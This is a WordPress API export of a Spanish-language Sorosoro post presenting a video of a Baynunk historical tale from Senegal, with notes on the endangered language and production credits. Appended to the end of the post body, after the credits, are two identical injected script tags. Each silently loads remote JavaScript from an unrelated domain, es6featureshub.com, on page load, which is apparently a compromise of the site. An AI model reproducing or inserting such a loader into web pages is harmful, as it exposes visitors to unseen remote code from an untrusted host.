{"id":44046,"date":"2011-03-18T10:24:41","date_gmt":"2011-03-18T09:24:41","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=44046"},"modified":"2025-10-21T23:08:26","modified_gmt":"2025-10-21T21:08:26","slug":"cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/","title":{"rendered":"Cuento hist\u00f3rico: cuando el hombre blanco vino al pueblo\u2026"},"content":{"rendered":"<p style=\"text-align: justify;\">El narrador <strong>S\u00e9kou Djikabo Coly <\/strong>nos trae un cuento hist\u00f3rico de la <strong>comunidad baynunk establecida en Niamone <\/strong>en Casamanza, al sur de Senegal. Cuenta la <strong>llegada del hombre blanco<\/strong>, y su voluntad de apoderarse del pueblo. Resulta un combate con armas de fuego, un combate desigual del que conocemos el final\u2026<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em><br \/>\n<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Recordemos que el baynunk es una lengua hablada en el sur de Senegal, as\u00ed como en las vecinas Gambia y en Guinea Bissau. Pertenece a la familia N\u00edger-Congo (rama Atl\u00e1ntico Norte, grupo Tenda-nyun) y comprende varias variantes dialectales. En 2006, el sitio ethnologue.com informaba el n\u00famero de 6200 locutores, estimaci\u00f3n que conduce a considerar al bainuk como una \u00bb lengua en peligro \u00bb seg\u00fan los criterios de Unesco. Muy poco descrito, el bainuk fue codificado en el 2005 y desde entonces est\u00e1 dotado de una ortograf\u00eda oficial.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p><a href=\"https:\/\/www.sorosoro.org\/es\/videos-en-lengua-bainunk-%E2%80%93-senegal\">Ver todos los v\u00eddeos en baynunk<\/a><\/p>\n<p><strong><br \/>\n<\/strong><\/p>\n<p><strong>(con subt\u00edtulos en ingl\u00e9s)<\/strong><\/p>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/nvCD4ng4lbo?fs=1&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/nvCD4ng4lbo?fs=1&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/p>\n<p style=\"text-align: justify;\">\n<p><span style=\"text-decoration: underline;\">Ling\u00fcista<\/span>: Sokhna Bao-Diop<\/p>\n<p><span style=\"text-decoration: underline;\">Imag<\/span><span style=\"text-decoration: underline;\">en y sonido<\/span>: Muriel Lutz ayudada por Cheikh Tidiane Sall<\/p>\n<p><span style=\"text-decoration: underline;\">Montaje<\/span>: Caroline Laurent<\/p>\n<p>Video realizado en el marco del proyecto <em>S\u00e9n\u00e9langues<\/em><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>El narrador S\u00e9kou Djikabo Coly nos trae un cuento hist\u00f3rico de la comunidad baynunk establecida en Niamone en Casamanza, al sur de Senegal. Cuenta la llegada del hombre blanco, y su voluntad de apoderarse del pueblo. Resulta un combate con armas de fuego, un combate desigual del que conocemos el final\u2026 Recordemos que el baynunk [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[25],"tags":[],"class_list":["post-44046","post","type-post","status-publish","format-standard","hentry","category-video-de-la-semana"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Cuento hist\u00f3rico: cuando el hombre blanco vino al pueblo\u2026 - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Cuento hist\u00f3rico: cuando el hombre blanco vino al pueblo\u2026 - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"El narrador S\u00e9kou Djikabo Coly nos trae un cuento hist\u00f3rico de la comunidad baynunk establecida en Niamone en Casamanza, al sur de Senegal. Cuenta la llegada del hombre blanco, y su voluntad de apoderarse del pueblo. Resulta un combate con armas de fuego, un combate desigual del que conocemos el final\u2026 Recordemos que el baynunk [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-03-18T09:24:41+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T21:08:26+00:00\" \/>\n<meta name=\"author\" content=\"Rozenn Milin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Rozenn Milin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minuto\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/\"},\"author\":{\"name\":\"Rozenn Milin\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1\"},\"headline\":\"Cuento hist\u00f3rico: cuando el hombre blanco vino al pueblo\u2026\",\"datePublished\":\"2011-03-18T09:24:41+00:00\",\"dateModified\":\"2025-10-21T21:08:26+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/\"},\"wordCount\":193,\"articleSection\":[\"Todos los videos\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/\",\"name\":\"Cuento hist\u00f3rico: cuando el hombre blanco vino al pueblo\u2026 - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-03-18T09:24:41+00:00\",\"dateModified\":\"2025-10-21T21:08:26+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Cuento hist\u00f3rico: cuando el hombre blanco vino al pueblo\u2026\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1\",\"name\":\"Rozenn Milin\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/rozenn-milin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Cuento hist\u00f3rico: cuando el hombre blanco vino al pueblo\u2026 - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/","og_locale":"es_ES","og_type":"article","og_title":"Cuento hist\u00f3rico: cuando el hombre blanco vino al pueblo\u2026 - Sorosoro","og_description":"El narrador S\u00e9kou Djikabo Coly nos trae un cuento hist\u00f3rico de la comunidad baynunk establecida en Niamone en Casamanza, al sur de Senegal. Cuenta la llegada del hombre blanco, y su voluntad de apoderarse del pueblo. Resulta un combate con armas de fuego, un combate desigual del que conocemos el final\u2026 Recordemos que el baynunk [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/","og_site_name":"Sorosoro","article_published_time":"2011-03-18T09:24:41+00:00","article_modified_time":"2025-10-21T21:08:26+00:00","author":"Rozenn Milin","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Rozenn Milin","Tiempo de lectura":"1 minuto"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/"},"author":{"name":"Rozenn Milin","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1"},"headline":"Cuento hist\u00f3rico: cuando el hombre blanco vino al pueblo\u2026","datePublished":"2011-03-18T09:24:41+00:00","dateModified":"2025-10-21T21:08:26+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/"},"wordCount":193,"articleSection":["Todos los videos"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/","name":"Cuento hist\u00f3rico: cuando el hombre blanco vino al pueblo\u2026 - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-03-18T09:24:41+00:00","dateModified":"2025-10-21T21:08:26+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Cuento hist\u00f3rico: cuando el hombre blanco vino al pueblo\u2026"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1","name":"Rozenn Milin","url":"https:\/\/www.sorosoro.org\/es\/author\/rozenn-milin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/44046","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=44046"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/44046\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=44046"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=44046"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=44046"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}